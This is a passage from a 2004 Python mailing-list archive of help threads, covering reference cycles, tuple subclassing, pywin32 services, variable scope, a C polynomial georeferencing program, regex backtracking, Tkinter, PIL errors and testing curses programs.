Ie., you don't see "del" for class B. This is because B had a
member variable which looped back onto the object itself.

Same thing can happen where a class holds a reference back to
a method of the class, ie., a callback.

I don't believe that Python can cope with this and the object
will never actually be deleted. Please correct me if I am wrong.

In certain circumstances where I have had this problem and I
needed to know the object would be destroyed as soon as
possible, I have had to add a method to the class which could
be called to undo any references the class held which pointed
back onto itself.

I have looked at weak references, but have not been satisfied
that it could be used in the situation where I had to overcome the
problem.


From ping at zesty.ca  Wed Feb  4 18:16:48 2004
From: ping at zesty.ca (Ping)
Date: Wed, 4 Feb 2004 17:16:48 -0600 (CST)
Subject: What's the matter with pydoc.org?
In-Reply-To: <4020CAC0.7000506@prescod.net>
References: <bvo98e$tqnei$1@ID-95936.news.uni-berlin.de>
	<bvoa2a$u5pp0$1@ID-111250.news.uni-berlin.de>
	<bvobds$utrr2$1@ID-95936.news.uni-berlin.de>
	<4020CAC0.7000506@prescod.net>
Message-ID: <Pine.LNX.4.58.0402041716290.28644@server1.LFW.org>

On Wed, 4 Feb 2004, Paul Prescod wrote:
> Lars Behrens wrote:
>
> > Diez B. Roggisch wrote:
> >
> >>> Can someone please check if pydoc.org works ok? I see only strange
> >>> stuff...
> >>>
> >>> Is that link ok?
> >>>
> >>> http://pydoc.org/
>
> It is probably a server misconfiguration. Ka-Ping Yee is the inventor of
> Python's pydoc and has run a server for it. Either he accidentally
> copied the wrong index.html to the wrong virtual server or he decided he
> couldn't afford the bandwidth anymore.

My machine was hacked a few days ago.  I'm working on putting it
back together.


-- ?!ng



From aahz at pythoncraft.com  Wed Feb 18 23:05:04 2004
From: aahz at pythoncraft.com (Aahz)
Date: 18 Feb 2004 23:05:04 -0500
Subject: Mutability problem when subclassing tuple
References: <40342544$0$3105$61fed72c@news.rcn.com>
Message-ID: <c11clg$pcl$1@panix3.panix.com>

In article <40342544$0$3105$61fed72c at news.rcn.com>,
Edward C. Jones <edcjones at erols.com> wrote:
>
># What restrictions are there when subclassing "tuple" or other
># types that create immutable objets?

You need to set the values with __new__().
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach


From gandalf at geochemsource.com  Mon Feb 23 10:29:50 2004
From: gandalf at geochemsource.com (Gandalf)
Date: Mon, 23 Feb 2004 16:29:50 +0100
Subject: pythonservice.exe not found
References: <403A0828.6090808@geochemsource.com> <u11h7tjo.fsf@python.net>
Message-ID: <403A1C6E.8070103@geochemsource.com>

>
>
>Gandalf <gandalf at geochemsource.com> writes:
>
>R> Hello! I have installed win32 extensions (version 200) on an XP
>  
>
>>machine. I'm trying to install a new windows service
>>(written in python) but I cannot find pythonservice.exe on my hard
>>drive. How can I obtain it?
>>
>>    
>>
>
>There's a zip file in the sourceforge download section
><http://sourceforge.net/projects/pywin32>
>
>Thomas
>
>  
>
I was so blind! Thank you! I have written many windows services in 
Delphi before but I'll forget them forever. :-)


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From __peter__ at web.de  Mon Feb 23 10:34:12 2004
From: __peter__ at web.de (Peter Otten)
Date: Mon, 23 Feb 2004 16:34:12 +0100
Subject: Changing the default text codec
References: <8089854e.0402230050.145a8c94@posting.google.com>
	<c1chv0$85i$07$1@news.t-online.com>
	<8089854e.0402230725.9960c3e@posting.google.com>
Message-ID: <c1d6hk$bf0$00$2@news.t-online.com>

Fuzzyman wrote:

> Short of me actually looking... where is site.py :-)

>>> import site
>>> site.__file__
'/usr/local/lib/python2.3/site.py'



From jcarlson at nospam.uci.edu  Thu Feb 12 01:51:52 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Wed, 11 Feb 2004 22:51:52 -0800
Subject: "ulimit -s" has no effect?
In-Reply-To: <87r7x45bpl.fsf@dgp.toronto.edu>
References: <877jz2f8l9.fsf@dgp.toronto.edu>
	<c00i0a$inl$2@news.service.uci.edu>
	<877jyzeesq.fsf@dgp.toronto.edu>
	<c01qib$po6$1@news.service.uci.edu>
	<87hdy2hpbb.fsf@dgp.toronto.edu>
	<c03fla$c2k$1@news.service.uci.edu>
	<87llndkn47.fsf@dgp.toronto.edu>
	<c072po$ldf$1@news.service.uci.edu>
	<87r7x45bpl.fsf@dgp.toronto.edu>
Message-ID: <c0f7uq$3sn$1@news.service.uci.edu>

> Thanks!  I'll have a look at it soon, currently swamped.  It should be a good
> practical example of recursive->iterative conversion; never know when I'll
> have to do something similar again..

I'm feeling swamped as well.  Time will tell if it is just this week, or 
  if it is for the rest of the quarter.

> Alas, no, I'm more on the application side of things.  My main area is
> computer graphics and animation, although my research makes substantial
> use of AI (path planning, surface learning) and robotics (controllability,
> control theory).  There's some more info on my homepage.

I love the videos from your masters.

> I *did* take an (Advanced Topics in) Graph Theory course though.  Ouch, my head
> still hurts.  My brain is just not wired that way. :)

Indeed, graph theory is pretty painful.  Graph algorithms can be nifty, 
as can the related set of computational geometry algorithms.

  - Josiah


From wfolta at netmail.to  Sat Feb 21 00:47:27 2004
From: wfolta at netmail.to (Wayne Folta)
Date: Sat, 21 Feb 2004 00:47:27 -0500
Subject: New user needs help
In-Reply-To: <103dqa9m48nj792@corp.supernews.com>
References: <103dqa9m48nj792@corp.supernews.com>
Message-ID: <6E352FE4-6431-11D8-9659-000A959CB2EC@netmail.to>

> def getnum1(a):
>     a = input("What is the first number?")

The 'a' in the def statement is a placeholder which exists only within 
your function and is initially assigned the value of the first argument 
to your function. References to 'a' within the function refer to this 
'a', not the 'a' in your main program, which you set to 0 and which 
remains 0. That kind of info is found under the title of a variable's 
"scope".

If you want to return a value from your function, you would have 
something in your main program like:

a = getnum()
b = getnum()

where you defined getnum something like:

def getnum():
      a = int(input ("Enter a number > 0: "))
      while (a <= 0):
           a = int (input ("Enter a number that is greater than 0: "))
      return a

Of course, if I enter "foo" instead of a number, it dies because it 
can't convert "foo" into an integer. You could also handle that case.

I'd also remark that it strikes me as a little strange to have your 
getnum function recurse if you don't get a non-zero number. In this 
case workable since I guess a person wouldn't enter "0" repeatedly 
forever, but in other cases you could overflow the stack

Is this Euclid's extended algorithm? It hurts my head.

> def euclid(num1, num2, num3, num4):
>     if num1 < num2:
>         num3, num4 = num1, num2
>         num1, num2 = num4, num3
>         euclid(num1, num2, num3, num4)
>     elif num2 != 0:
>         num3, num4 = num1, num2
>         num1 = num4
>         num2 = num3 % num4
>         euclid(num1, num2, num3, num4)
>     else:
>         print "The lowest common factor is: ", num1
> a = 0
> getnum1(a)
> b = 0
> getnum2(b)
> x, y = 2, 100
> euclid(a, b, x, y)
>
>
> -- 
> http://mail.python.org/mailman/listinfo/python-list
>




From jcarlson at nospam.uci.edu  Tue Feb 17 23:56:31 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Tue, 17 Feb 2004 20:56:31 -0800
Subject: Hiding modules
In-Reply-To: <c0tcad$ksg$1@gist.usc.edu>
References: <c0mpkn$i1d$1@gist.usc.edu>
	<4f0a9fdb.0402160359.33f90363@posting.google.com>
	<c0qde1$3s6$1@gist.usc.edu> <c0r3j8$268$1@news.service.uci.edu>
	<c0tcad$ksg$1@gist.usc.edu>
Message-ID: <c0uren$ggg$1@news.service.uci.edu>

Tommy,

Heh, derive all of your classes from a single base class.  Call this 
base class "Restrictor" or something similarly funny.  Give it the 
equivalent __getattr__ and __setattr__ controls as the MyDict example's 
__getitem__ and __setitem__.

Now all attribute accesses (including function calls) need to be 
validated.  It would slow things down considerably 
(traceback.extract_stack() is slow), but you could restrict as much as 
you want.

  - Josiah

> thanks, I will check out your solution. It looks similar to an import hook
> to me. There is still a problem that the user could just reset sys.modules
> to his own dict.
> 
>>import sys
>>import traceback
>>
>>
>>class MyDict(UserDict):
>>     def __getitem__(self, key):
>>         try:
>>             raise ""
>>         except:
>>             a = traceback.extract_stack()
>>         #do all your call checking on a
>>     #similar checks for __setitem__
>>
>>sys.modules = MyDict(sys.modules)


From nospam-deets at web.de  Wed Feb 18 10:53:04 2004
From: nospam-deets at web.de (Diez B. Roggisch)
Date: Wed, 18 Feb 2004 16:53:04 +0100
Subject: Compiling python scripts to native code ??
References: <BC5784A3.10B0C%fred.mailhot@videotron.ca>
	<pan.2004.02.17.15.25.44.525912@thomas-guettler.de>
	<BC57B164.10C3B%fred.mailhot@videotron.ca>
	<6ee58e07.0402180654.4495186e@posting.google.com>
Message-ID: <c101tv$1cts18$1@ID-111250.news.uni-berlin.de>


> Thank the fu**ing Unix developer that there is nothing like this.
> Distribution binaries is a pain and not reliable. At the moment you
> can do this only on windows plattforms.

Yeah, as if distributing binaries on windows is seamless and easy - no idea
why there is a plethora of installation-creation tools like InstallShield
and so on.... Not to mention the various registry-snapshot and rescueing
tools.

apt-get install python2.3

OTH works quite well for me - no idea how these fu**ing unix developers did
that.

-- 
Regards,

Diez B. Roggisch


From Kyler at news.Lairds.org  Tue Feb 17 08:12:00 2004
From: Kyler at news.Lairds.org (Kyler Laird)
Date: Tue, 17 Feb 2004 13:12:00 GMT
Subject: best way(s) to fit a polynomial to points?
References: <iuu4g1-kl1.ln1@jowls.lairds.org>
	<1033dpcqcubjg16@corp.supernews.com>
Message-ID: <3of9g1-fuv.ln1@jowls.lairds.org>

claird at lairds.com (Cameron Laird) writes:

>"I tried using it ... and failed."  I naturally wonder *how*
>you (it, more likely) failed--the specific details of what
>you actually observed.

I was generating the test points with a simple algorithm.  I
finally discovered that the fitting algorithm fails if the
points are (close to being) colinear.

>I can imagine, though, that if you 
>had the time to understand and describe what happened with
>precision, it'd be easier fixing it than talking about it.

I'll append the code that I successfully used.

>Will the new (x,y)-s be interior to the convex hull formed by
>the tabulated ones, or might they be outside?

It's good practice to make them interior (have ground control
points around the perimeter of the region of interest) but it
isn't always the case.  The solution should be general enough
to work for outside points but it's understood that the error
for them is likely to be high.

>How
>soon does this thing need to go live?

It's something I meant to do during my Remote Sensing class
last semester and then someone asked about it in another news
group recently.  It's not urgent.  I just wanted to solve it.

(I have some aerial photos that I georeferenced using ERDAS
Imagine but I want to use my own code so that I can do more
with them.)

I'm happy with the C code, but I'd still prefer a Python
solution.

--kyler

==============================================================

#include <stdio.h>

struct Control_Points
{
	int  count;
	   	double *e1;
	   	double *n1;
	   	double *e2;
	   	double *n2;
	   	int *status;
};


/* STRUCTURE FOR USE INTERNALLY WITH THESE FUNCTIONS.  THESE FUNCTIONS EXPECT
   SQUARE MATRICES SO ONLY ONE VARIABLE IS GIVEN (N) FOR THE MATRIX SIZE */

struct MATRIX
{
	int	 n;	 /* SIZE OF THIS MATRIX (N x N) */
	double *v;
};

/* CALCULATE OFFSET INTO ARRAY BASED ON R/C */

#define M(row,col) m->v[(((row)-1)*(m->n))+(col)-1]


#define MSUCCESS	 1 /* SUCCESS */
#define MNPTERR	  0 /* NOT ENOUGH POINTS */
#define MUNSOLVABLE -1 /* NOT SOLVABLE */
#define MMEMERR	 -2 /* NOT ENOUGH MEMORY */
#define MPARMERR	-3 /* PARAMETER ERROR */
#define MINTERR	 -4 /* INTERNAL ERROR */




#define MAXORDER 3

#define CPLFree free
#define CPLCalloc calloc


/* CALCULATE OFFSET INTO ARRAY BASED ON R/C */

#define M(row,col) m->v[(((row)-1)*(m->n))+(col)-1]


#define MSUCCESS	 1 /* SUCCESS */
#define MNPTERR	  0 /* NOT ENOUGH POINTS */
#define MUNSOLVABLE -1 /* NOT SOLVABLE */
#define MMEMERR	 -2 /* NOT ENOUGH MEMORY */
#define MPARMERR	-3 /* PARAMETER ERROR */
#define MINTERR	 -4 /* INTERNAL ERROR */

/***************************************************************************/
/*
	FUNCTION PROTOTYPES FOR STATIC (INTERNAL) FUNCTIONS
*/
/***************************************************************************/

static int calccoef(struct Control_Points *,double *,double *,int);
static int calcls(struct Control_Points *,struct MATRIX *,
				  double *,double *,double *,double *);
static int exactdet(struct Control_Points *,struct MATRIX *,
					double *,double *,double *,double *);
static int solvemat(struct MATRIX *,double *,double *,double *,double *);
static double term(int,double,double);

/***************************************************************************/
/*
	TRANSFORM A SINGLE COORDINATE PAIR.
*/
/***************************************************************************/

static int 
CRS_georef (
	double e1,  /* EASTINGS TO BE TRANSFORMED */
	double n1,  /* NORTHINGS TO BE TRANSFORMED */
	double *e,  /* EASTINGS TO BE TRANSFORMED */
	double *n,  /* NORTHINGS TO BE TRANSFORMED */
	double E[], /* EASTING COEFFICIENTS */
	double N[], /* NORTHING COEFFICIENTS */
	int order  /* ORDER OF TRANSFORMATION TO BE PERFORMED, MUST MATCH THE
			   ORDER USED TO CALCULATE THE COEFFICIENTS */
)
  {
  double e3, e2n, en2, n3, e2, en, n2;

  switch(order)
	{
	case 1:

	  *e = E[0] + E[1] * e1 + E[2] * n1;
	  *n = N[0] + N[1] * e1 + N[2] * n1;
	  break;

	case 2:

	  e2 = e1 * e1;
	  n2 = n1 * n1;
	  en = e1 * n1;

	  *e = E[0]	  + E[1] * e1 + E[2] * n1 +
		   E[3] * e2 + E[4] * en + E[5] * n2;
	  *n = N[0]	  + N[1] * e1 + N[2] * n1 +
		   N[3] * e2 + N[4] * en + N[5] * n2;
	  break;

	case 3:

	  e2  = e1 * e1;
	  en  = e1 * n1;
	  n2  = n1 * n1;
	  e3  = e1 * e2;
	  e2n = e2 * n1;
	  en2 = e1 * n2;
	  n3  = n1 * n2;

	  *e = E[0]	  +
		   E[1] * e1 + E[2] * n1  +
		   E[3] * e2 + E[4] * en  + E[5] * n2  +
		   E[6] * e3 + E[7] * e2n + E[8] * en2 + E[9] * n3;
	  *n = N[0]	  +
		   N[1] * e1 + N[2] * n1  +
		   N[3] * e2 + N[4] * en  + N[5] * n2  +
		   N[6] * e3 + N[7] * e2n + N[8] * en2 + N[9] * n3;
	  break;

	default:

	  return(MPARMERR);
	  break;
	}

  return(MSUCCESS);
  }

/***************************************************************************/
/*
	COMPUTE THE GEOREFFERENCING COEFFICIENTS BASED ON A SET OF CONTROL POINTS
*/
/***************************************************************************/

static int 
CRS_compute_georef_equations (struct Control_Points *cp, 
									  double E12[], double N12[], 
									  double E21[], double N21[], 
									  int order)
{
	double *tempptr;
	int status;

	if(order < 1 || order > MAXORDER)
		return(MPARMERR);

	/* CALCULATE THE FORWARD TRANSFORMATION COEFFICIENTS */

	status = calccoef(cp,E12,N12,order);

	if(status != MSUCCESS)
		return(status);

	/* SWITCH THE 1 AND 2 EASTING AND NORTHING ARRAYS */

	tempptr = cp->e1;
	cp->e1 = cp->e2;
	cp->e2 = tempptr;
	tempptr = cp->n1;
	cp->n1 = cp->n2;
	cp->n2 = tempptr;

	/* CALCULATE THE BACKWARD TRANSFORMATION COEFFICIENTS */

	status = calccoef(cp,E21,N21,order);

	/* SWITCH THE 1 AND 2 EASTING AND NORTHING ARRAYS BACK */

	tempptr = cp->e1;
	cp->e1 = cp->e2;
	cp->e2 = tempptr;
	tempptr = cp->n1;
	cp->n1 = cp->n2;
	cp->n2 = tempptr;

	return(status);
}

/***************************************************************************/
/*
	COMPUTE THE GEOREFFERENCING COEFFICIENTS BASED ON A SET OF CONTROL POINTS
*/
/***************************************************************************/

static int 
calccoef (struct Control_Points *cp, double E[], double N[], int order)
{
	struct MATRIX m;
	double *a;
	double *b;
	int numactive;   /* NUMBER OF ACTIVE CONTROL POINTS */
	int status, i;

	/* CALCULATE THE NUMBER OF VALID CONTROL POINTS */

	for(i = numactive = 0 ; i < cp->count ; i++)
	{
		if(cp->status[i] > 0)
			numactive++;
	}

	/* CALCULATE THE MINIMUM NUMBER OF CONTROL POINTS NEEDED TO DETERMINE
	   A TRANSFORMATION OF THIS ORDER */

	m.n = ((order + 1) * (order + 2)) / 2;


	if(numactive < m.n)
		return(MNPTERR);


	/* INITIALIZE MATRIX */

	m.v = (double *)CPLCalloc(m.n*m.n,sizeof(double));
	if(m.v == NULL)
	{
		return(MMEMERR);
	}
	a = (double *)CPLCalloc(m.n,sizeof(double));
	if(a == NULL)
	{
		CPLFree((char *)m.v);
		return(MMEMERR);
	}
	b = (double *)CPLCalloc(m.n,sizeof(double));
	if(b == NULL)
	{
		CPLFree((char *)m.v);
		CPLFree((char *)a);
		return(MMEMERR);
	}


	if(numactive == m.n)
		status = exactdet(cp,&m,a,b,E,N);
	else
		status = calcls(cp,&m,a,b,E,N);

	/*
	CPLFree((char *)m.v);
	CPLFree((char *)a);
	CPLFree((char *)b);
	*/

	return(status);
}

/***************************************************************************/
/*
	CALCULATE THE TRANSFORMATION COEFFICIENTS WITH EXACTLY THE MINIMUM
	NUMBER OF CONTROL POINTS REQUIRED FOR THIS TRANSFORMATION.
*/
/***************************************************************************/

static int exactdet (
	struct Control_Points *cp,
	struct MATRIX *m,
	double a[],
	double b[],
	double E[],	 /* EASTING COEFFICIENTS */
	double N[]	 /* NORTHING COEFFICIENTS */
) {
	int pntnow, currow, j;



	currow = 1;
	for(pntnow = 0 ; pntnow < cp->count ; pntnow++) {

		if(cp->status[pntnow] > 0) {
			/* POPULATE MATRIX M */

			for(j = 1 ; j <= m->n ; j++) {
				M(currow,j) = term(j,cp->e1[pntnow],cp->n1[pntnow]);
			}

			/* POPULATE MATRIX A AND B */

			a[currow-1] = cp->e2[pntnow];
			b[currow-1] = cp->n2[pntnow];

			currow++;
		}
	}

	if(currow - 1 != m->n) {
		return(MINTERR);
	}


	return(solvemat(m,a,b,E,N));
}

/***************************************************************************/
/*
	CALCULATE THE TRANSFORMATION COEFFICIENTS WITH MORE THAN THE MINIMUM
	NUMBER OF CONTROL POINTS REQUIRED FOR THIS TRANSFORMATION.  THIS
	ROUTINE USES THE LEAST SQUARES METHOD TO COMPUTE THE COEFFICIENTS.
*/
/***************************************************************************/

static int calcls (
	struct Control_Points *cp,
	struct MATRIX *m,
	double a[],
	double b[],
	double E[],	 /* EASTING COEFFICIENTS */
	double N[]	 /* NORTHING COEFFICIENTS */
)
{
	int i, j, n, numactive = 0;

	/* INITIALIZE THE UPPER HALF OF THE MATRIX AND THE TWO COLUMN VECTORS */

	for(i = 1 ; i <= m->n ; i++)
	{
		for(j = i ; j <= m->n ; j++)
			M(i,j) = 0.0;
		a[i-1] = b[i-1] = 0.0;
	}

	/* SUM THE UPPER HALF OF THE MATRIX AND THE COLUMN VECTORS ACCORDING TO
	   THE LEAST SQUARES METHOD OF SOLVING OVER DETERMINED SYSTEMS */

	for(n = 0 ; n < cp->count ; n++)
	{
		if(cp->status[n] > 0)
		{
			numactive++;
			for(i = 1 ; i <= m->n ; i++)
			{
				for(j = i ; j <= m->n ; j++)
					M(i,j) += term(i,cp->e1[n],cp->n1[n]) * term(j,cp->e1[n],cp->n1[n]);

				a[i-1] += cp->e2[n] * term(i,cp->e1[n],cp->n1[n]);
				b[i-1] += cp->n2[n] * term(i,cp->e1[n],cp->n1[n]);
			}
		}
	}

	if(numactive <= m->n)
		return(MINTERR);

	/* TRANSPOSE VALUES IN UPPER HALF OF M TO OTHER HALF */

	for(i = 2 ; i <= m->n ; i++)
	{
		for(j = 1 ; j < i ; j++)
			M(i,j) = M(j,i);
	}

	return(solvemat(m,a,b,E,N));
}

/***************************************************************************/
/*
	CALCULATE THE X/Y TERM BASED ON THE TERM NUMBER

ORDER\TERM   1	2	3	4	5	6	7	8	9   10
  1		e0n0 e1n0 e0n1
  2		e0n0 e1n0 e0n1 e2n0 e1n1 e0n2
  3		e0n0 e1n0 e0n1 e2n0 e1n1 e0n2 e3n0 e2n1 e1n2 e0n3
*/
/***************************************************************************/

static double term (int term, double e, double n)
{
	switch(term)
	{
	  case  1: return((double)1.0);
	  case  2: return((double)e);
	  case  3: return((double)n);
	  case  4: return((double)(e*e));
	  case  5: return((double)(e*n));
	  case  6: return((double)(n*n));
	  case  7: return((double)(e*e*e));
	  case  8: return((double)(e*e*n));
	  case  9: return((double)(e*n*n));
	  case 10: return((double)(n*n*n));
	}
	return((double)0.0);
}

/***************************************************************************/
/*
	SOLVE FOR THE 'E' AND 'N' COEFFICIENTS BY USING A SOMEWHAT MODIFIED
	GAUSSIAN ELIMINATION METHOD.

	| M11 M12 ... M1n | | E0   |   | a0   |
	| M21 M22 ... M2n | | E1   | = | a1   |
	|  .   .   .   .  | | .	|   | .	|
	| Mn1 Mn2 ... Mnn | | En-1 |   | an-1 |

	and

	| M11 M12 ... M1n | | N0   |   | b0   |
	| M21 M22 ... M2n | | N1   | = | b1   |
	|  .   .   .   .  | | .	|   | .	|
	| Mn1 Mn2 ... Mnn | | Nn-1 |   | bn-1 |
*/
/***************************************************************************/

static int solvemat (struct MATRIX *m,
  double a[], double b[], double E[], double N[])
{
	int i, j, i2, j2, imark;
	double factor, temp;
	double  pivot;  /* ACTUAL VALUE OF THE LARGEST PIVOT CANDIDATE */


	for(i = 1 ; i <= m->n ; i++)
	{

		j = i;

		/* find row with largest magnitude value for pivot value */

		pivot = M(i,j);
		imark = i;
		for(i2 = i + 1 ; i2 <= m->n ; i2++)
		{
			temp = fabs(M(i2,j));
			if(temp > fabs(pivot))
			{
				pivot = M(i2,j);
				imark = i2;
			}
		}

		/* if the pivot is very small then the points are nearly co-linear */
		/* co-linear points result in an undefined matrix, and nearly */
		/* co-linear points results in a solution with rounding error */

		if(pivot == 0.0) {
			return(MUNSOLVABLE);
		}

		/* if row with highest pivot is not the current row, switch them */
 
		if(imark != i)
		{
			for(j2 = 1 ; j2 <= m->n ; j2++)
			{
				temp = M(imark,j2);
				M(imark,j2) = M(i,j2);
				M(i,j2) = temp;
			}

			temp = a[imark-1];
			a[imark-1] = a[i-1];
			a[i-1] = temp;

			temp = b[imark-1];
			b[imark-1] = b[i-1];
			b[i-1] = temp;
		}

		/* compute zeros above and below the pivot, and compute
		   values for the rest of the row as well */

		for(i2 = 1 ; i2 <= m->n ; i2++)
		{
			if(i2 != i)
			{
				factor = M(i2,j) / pivot;
				for(j2 = j ; j2 <= m->n ; j2++)
					M(i2,j2) -= factor * M(i,j2);
				a[i2-1] -= factor * a[i-1];
				b[i2-1] -= factor * b[i-1];
			}
		}
	}

	/* SINCE ALL OTHER VALUES IN THE MATRIX ARE ZERO NOW, CALCULATE THE
	   COEFFICIENTS BY DIVIDING THE COLUMN VECTORS BY THE DIAGONAL VALUES. */

	for(i = 1 ; i <= m->n ; i++)
	{
		E[i-1] = a[i-1] / M(i,i);
		N[i-1] = b[i-1] / M(i,i);
	}

	return(MSUCCESS);
}


main() {
	int i;
	double E12[30], N12[30], E21[30], N21[30];
	int order = 1;
	int ret;
	double x, y, X, Y;

	struct Control_Points CPs;
	CPs.count = 10;
	CPs.e1 = (double *)malloc(sizeof(double) * CPs.count);
	CPs.n1 = (double *)malloc(sizeof(double) * CPs.count);
	CPs.e2 = (double *)malloc(sizeof(double) * CPs.count);
	CPs.n2 = (double *)malloc(sizeof(double) * CPs.count);
	CPs.status = (int *)malloc(sizeof(int) * CPs.count);

	i = 0;

	/* Set some GCPs. */
	CPs.e1[i] = 0; CPs.n1[i] = 0; CPs.e2[i] = 0; CPs.n2[i] = 0; CPs.status[i] = 1; i++;
	CPs.e1[i] = 10; CPs.n1[i] = 30; CPs.e2[i] = 100; CPs.n2[i] = 200; CPs.status[i] = 1; i++;
	CPs.e1[i] = 15; CPs.n1[i] = 35; CPs.e2[i] = 150; CPs.n2[i] = 220; CPs.status[i] = 1; i++;


	for(i = 0; i < 30; i++) {
		E12[i] = N12[i] = E21[i] = N21[i] = 0;
	}

	CRS_compute_georef_equations(
		&CPs,
		E12, N12,
		E21, N21,
		order
	);

	for(i = 0; i < CPs.count; i++) {
		x = i * 100;
		y = i * 200;
		CRS_georef(x, y, &X, &Y, E21, N21, order);
		printf("(%lf, %lf) -> (%lf, %lf)\n", x, y, X, Y);
		CRS_georef(X, Y, &x, &y, E12, N12, order);
		printf("(%lf, %lf) -> (%lf, %lf)\n", X, Y, x, y);
	}
}


From rpgnmets at aol.com  Sun Feb  8 16:30:13 2004
From: rpgnmets at aol.com (Rob Renaud)
Date: 8 Feb 2004 13:30:13 -0800
Subject: regex searching hangs
References: <ef08387c.0402080729.621632ca@posting.google.com>
Message-ID: <3759308d.0402081330.66215b5d@posting.google.com>

fortepianissimo at yahoo.com.tw (Fortepianissimo) wrote in message news:<ef08387c.0402080729.621632ca at posting.google.com>...
> Could someone explains why the following code hangs (Python 2.3.3)?
> 
> --- CODE STARTS ---
> import re
> 
> p=re.compile(r'\S+(?:\.\S+)+\.com')
> 
> t='......................................'
> p.search(t)
> --- CODE ENDS ---
> 
> From the syntax and semantics of regex, the entire t should be
> consumed by the pattern '\S+(?:\.\S+)+' and the search() call should
> return None. Is search() doing a depth-first search and can't pulling
> itself out? It doesn't seem right to me, or I'm missing something?
> 
> BTW, I don't think any regex matching should ever hang in any
> circumstances - correct me if I'm wrong: is halting problem a problem
> here?
> 
> Thanks!


It doesn't halt, it just seems you found an exponential time search,
searching at length i seems to take about 1.6 times the time it takes
to search at length i-1.

import re
import time
p=re.compile(r'\S+(?:\.\S+)+\.com')
t = '.'
for i in range(100):
	start = time.time()
	p.search(t*i)
	print i, time.time() - start

How should you improve it?  I don't know, I can't even read the regexp
:)


From eric.brunel at N0SP4M.com  Thu Feb 19 06:14:40 2004
From: eric.brunel at N0SP4M.com (Eric Brunel)
Date: Thu, 19 Feb 2004 12:14:40 +0100
Subject: Hiding/showing Tkinter.Canvas items
References: <mailman.52.1077179811.27104.python-list@python.org>
Message-ID: <c125bs$h5i$1@news-reader2.wanadoo.fr>

Marc Boeren wrote:
> Hi,
> 
> 
>>>mycanvas.itemconfigure("highlight", state='hidden')
>>
>>Easy, once you know it :-)
> 
> 
> It takes a bit of searching and experimenting, but once you know .configure
> and .itemconfigure and also know where to find a list of options
> (http://www.tcl.tk/man/tcl8.4/TkCmd/canvas.htm), there's a lot you can do. 
> The Canvas widget has amazed me with its flexibility and power: I love it!

This is the main reason I stick to Tkinter. I've never seen any widget just half 
as powerful as tk's canvas in any other GUI toolkit. BTW, does anybody know any 
of these toolkits that have a decent equivalent of the canvas? There are quite a 
lot of GUI toolkits interfaced with Python (wxWindows, Qt, FLTK, Fox
-- 
- Eric Brunel <eric dot brunel at pragmadev dot com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com



From jzgoda at gazeta.usun.pl  Mon Feb 23 14:54:08 2004
From: jzgoda at gazeta.usun.pl (Jarek Zgoda)
Date: Mon, 23 Feb 2004 19:54:08 +0000 (UTC)
Subject: Learning Python on jEdit
References: <d422a60.0402231132.19acdc74@posting.google.com>
Message-ID: <c1dlp0$r11$5@nemesis.news.tpi.pl>

Ray <rtjoseph at ev1.net> pisze:

> I want to jump in a learn Python.  I have spent about a day looking at
> editors and IDEs and (probably prematurely) selected jEdit to work in.
>  I have downloaded Python and jEdit.  I have been going over jEdit for
> a while and can't real see how to get it to know that I am using
> Python.

jEdit detects file type by extension, so Python syntax highlighting
will not work until you save the file with py or pyw extension.

-- 
Jarek Zgoda
http://jpa.berlios.de/


From skip at pobox.com  Thu Feb  5 16:17:19 2004
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 5 Feb 2004 15:17:19 -0600
Subject: Newbie question on tuples
In-Reply-To: <b4a8ffb6.0402051309.4292ccf1@posting.google.com>
References: <b4a8ffb6.0402051309.4292ccf1@posting.google.com>
Message-ID: <16418.45791.669094.323512@montanaro.dyndns.org>


    Thomas> How does one find the position of an item in a tuple. i.e. If
    Thomas> the tuple is ("rock", "scissors", "paper"), what function (or
    Thomas> method) do I call with "rock" to get 0 or with "paper" to get 2?

Tuples don't have an index method, but lists do, so you can list-ify your
tuple:

    >>> list(("rock", "scissors", "paper")).index("rock")
    0
    >>> list(("rock", "scissors", "paper")).index("paper")
    2

Skip



From noah at noah.org  Mon Feb  9 15:23:33 2004
From: noah at noah.org (Noah)
Date: 9 Feb 2004 12:23:33 -0800
Subject: PIL always raises "unrecognized image mode" exception with putdata()
Message-ID: <c9d82136.0402091223.1cdbe50c@posting.google.com>

How does Image.putdata() work? I am using PIL 1.1.3.
This simple script throws an exception on putdata():

    import Image
    width = 10
    height = 10
    im = Image.new ("RGB", (width, height))
    L = list(im.getdata())
    k = 0
    for y in range (height):
            for x in range (width):
                    L[k] =(127,127,127)
                    k += 1
    im.putdata(L, 1.0, 0.0)
    im.save ('target_out.png', 'png')
    
I get this output:

    Traceback (most recent call last):
      File "test.py", line 13, in ?
        im.putdata(L, 1.0, 0.0)
      File "/usr/local/lib/python2.2/site-packages/PIL/Image.py", line 661, 
          in putdata
        self.im.putdata(data, scale, offset)
    TypeError: unrecognized image mode

In fact even the following trivial script fails:

    import Image
    width = 10
    height = 10
    im = Image.new ("RGB", (width, height))
    im.putdata (im.getdata())

It seems simple enough. What's the trick? Is my PIL too old?

Yours,
Noah


From balex at sympatico.ca  Sat Feb 21 00:51:54 2004
From: balex at sympatico.ca (Brian)
Date: Sat, 21 Feb 2004 00:51:54 -0500
Subject: unitest with python curses app
References: <pan.2004.02.20.14.52.46.212175.11822@sympatico.ca>
	<qnkoertto54.fsf@arbutus.physics.mcmaster.ca>
Message-ID: <pan.2004.02.21.05.51.54.71123.13398@sympatico.ca>

On Fri, 20 Feb 2004 16:52:07 -0500, David M. Cooke wrote:


>> I'm writing a program with curses in python and having a bit of trouble
>> understanding how to use unittest. So far, I have used testing
>> successfully -- as long as the report goes to stdout (or does unittest
>> write to stderr?)
> 
> I'm interested: how are you unit testing curses routines? Are you
> testing just the output routines, or are other non-curses routines being
> called?
> 
 
Unfortunately, only the routines that did not involve the curses module were
easy to test. Judging from your message, I think you inferred this.
(Indeed, you seem to have lived it.)

However, I did build a dump-to-text feature into an object that wraps
all curses newwin objects. When <obj>.dumpCells() is called, a text record for
each cell in the newwin is generated. It looks something like this:

t 5 5 -acharset +abold ... (other attribute codes follow)
h 5 6 -acharset +abold ... (other attribute codes follow)
... (other cell records follow)

With respect to the first record: "t" is the character at [y ,x] ==
[5,5]. It is not from the alternate
